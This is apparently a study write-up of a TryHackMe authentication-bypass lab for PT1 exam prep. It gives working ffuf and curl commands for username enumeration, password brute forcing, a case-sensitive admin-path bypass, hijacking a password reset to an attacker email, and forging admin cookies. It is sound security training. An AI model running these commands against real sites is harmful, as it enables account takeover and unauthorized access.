Authentication Bypass TryHackMe

Overview

Authentication bypass issues are high-impact because they often lead to account takeover and data exposure. This room focuses on practical techniques: username enumeration, brute forcing, logic flaws, password reset abuse, and cookie tampering.

Mindset: look for differences in responses (status codes, text, redirects, cookies, response size/time) and for places where the app trusts client-controlled input.

1) Username Enumeration (ffuf)

Signup/login error messages can leak whether a username exists. If the response differs for valid vs invalid usernames, you can enumerate accounts.

Example: enumerate existing usernames by matching a specific error message.

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt \
  -X POST \
  -d "username=FUZZ&email=x&password=x&cpassword=x" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -u http://MACHINE_IP/customers/signup \
  -mr "username already exists"

Tip: save valid usernames into a clean file (one per line) for the next step.

2) Brute Force (ffuf with 2 wordlists)

Once you have valid usernames, brute force becomes much more effective. Use separate placeholders (e.g., W1, W2) for multiple wordlists.

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 \
  -X POST \
  -d "username=W1&password=W2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -u http://MACHINE_IP/customers/login \
  -fc 200

What to look for: different status code, redirect, response size, or a new session cookie.

3) Logic Flaws (bypass normal auth flow)

Logic flaws happen when the app checks auth incorrectly or inconsistently. Classic example: case-sensitive path checks.

if (url.substr(0,6) === '/admin') {
  // check user is admin
} else {
  // view page
}

Bypass idea: request /adMin if checks are case-sensitive.

4) Password Reset Abuse (parameter precedence)

Reset flows often combine query string + POST data. If the backend uses a merged structure like $_REQUEST, POST parameters may override GET parameters.

Technique: override the destination email in the POST body so the reset link goes to you.

# baseline (victim email in query string)
curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=robert'

# override email in POST body (server trusts POST for $_REQUEST)
curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=robert&email=attacker@hacker.com'

Exam note: always test whether POST overrides GET when the same parameter exists in both places.

5) Cookie Tampering

If cookies store auth state client-side, tampering can lead to privilege escalation. Common formats: plain text, hashes, and encodings (base64).

Plain text flags

# not logged in
curl http://MACHINE_IP/cookie-test

# logged in user
curl -H "Cookie: logged_in=true; admin=false" http://MACHINE_IP/cookie-test

# admin
curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test

Hashes vs Encoding

Hashing is one-way (e.g., md5/sha1/sha256). Use cracking databases like crackstation.net for common values.
Encoding is reversible (e.g., base64). Decode, edit, re-encode.

Example: base64 cookie containing JSON:

session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ== → {"id":1,"admin":false}

Exam Notes (PT1)

Compare responses: status code, Location header, Set-Cookie, response size, and message text.
Always try: user enumeration → brute force (small list) → logic flaws → reset flow abuse → cookie/JWT checks.
For brute force: keep lists small and focused (top passwords, known usernames).
For cookies: identify whether state is server-side (session id) or client-side (flags/encoded JSON).